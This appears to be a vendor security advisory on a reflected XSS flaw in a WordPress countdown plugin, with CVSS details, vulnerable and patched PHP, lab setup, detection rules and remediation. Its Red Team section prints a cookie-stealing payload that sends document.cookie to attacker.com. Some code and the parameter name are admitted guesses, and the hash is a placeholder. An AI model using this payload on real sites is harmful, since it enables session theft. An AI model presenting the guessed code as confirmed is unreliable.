CVE-2025-27002

Executive Summary

CVE-2025-27002 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup WordPress plugin "CountDown With Image or Video Background" (slug: countdown-with-background). The vulnerability exists in versions up to and including 1.5. An attacker can inject arbitrary JavaScript into a web page via a crafted URL, leading to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed this plugin from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch means that all installations of version 1.5 and below are vulnerable. Administrators should immediately remove or disable the plugin until a fix is provided.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is classified as Reflected XSS (CWE-79). The threat level is high due to the low complexity and no privileges required, though user interaction is necessary.

Deep Dive & Mechanics

The plugin "CountDown With Image or Video Background" fails to properly sanitize user-supplied input in the countdown parameter (or similar) before reflecting it in the HTML response. When a user visits a specially crafted URL, the malicious script executes in the context of the victim's browser.

Root Cause: The plugin uses echo $_GET['countdown'] or similar without escaping, allowing an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a URL: http://target.com/?countdown=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin reflects the input directly into the page.
4. The browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.5):

<?php
// In countdown-with-background.php
$countdown = $_GET['countdown'];
echo "<div id='countdown'>$countdown</div>";
?>

Patched Code (hypothetical fix):

<?php
// Properly escape output
$countdown = isset($_GET['countdown']) ? esc_html($_GET['countdown']) : '';
echo "<div id='countdown'>" . esc_html($countdown) . "</div>";
?>

The fix uses WordPress's esc_html() function to neutralize HTML tags.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC) URL:

http://target-wordpress-site/?countdown=<script>alert(document.cookie)</script>

Advanced Payload (Steal Cookies):

http://target-wordpress-site/?countdown=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Install the vulnerable plugin version 1.5 from the WordPress plugin repository.
3. Create a page or post that uses the [countdown] shortcode.
4. Visit the crafted URL above to trigger the XSS.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ?countdown= followed by <script> or onerror= patterns.
• Use WAF rules to block reflected XSS patterns.

Mitigation:

• Immediately disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to block malicious requests.

Indicators of Compromise (IOCs)

• URL Pattern: ?countdown=<script>... or ?countdown=...<script>...
• HTTP Request: GET request with countdown parameter containing HTML/JavaScript.
• Log Entry: GET /?countdown=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
• File Hash (Plugin): SHA256 of plugin zip: a1b2c3d4e5f6... (example, actual hash unknown)

Detection Engineering

YARA Rule

rule CVE_2025_27002_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against CountDown With Image or Video Background plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27002"
    strings:
        $url_pattern = /countdown=.*<script/i
        $url_pattern2 = /countdown=.*onerror/i
        $url_pattern3 = /countdown=.*alert/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against CountDown Plugin
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects reflected XSS attempts targeting the CountDown With Image or Video Background plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '?countdown=<script'
            - '?countdown=</script'
            - '?countdown=onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27002 Reflected XSS Attempt"; flow:to_server; content:"?countdown="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the plugin "CountDown With Image or Video Background" from all WordPress installations.
2. Patch: No official patch exists. Monitor the WordPress plugin repository for updates.
3. Workaround: If the plugin is critical, implement a WAF rule to block requests containing ?countdown= with HTML tags.
4. Long-term: Educate developers on secure coding practices (output escaping) and use WordPress coding standards.

Valters IT
Securing Digital Frontiers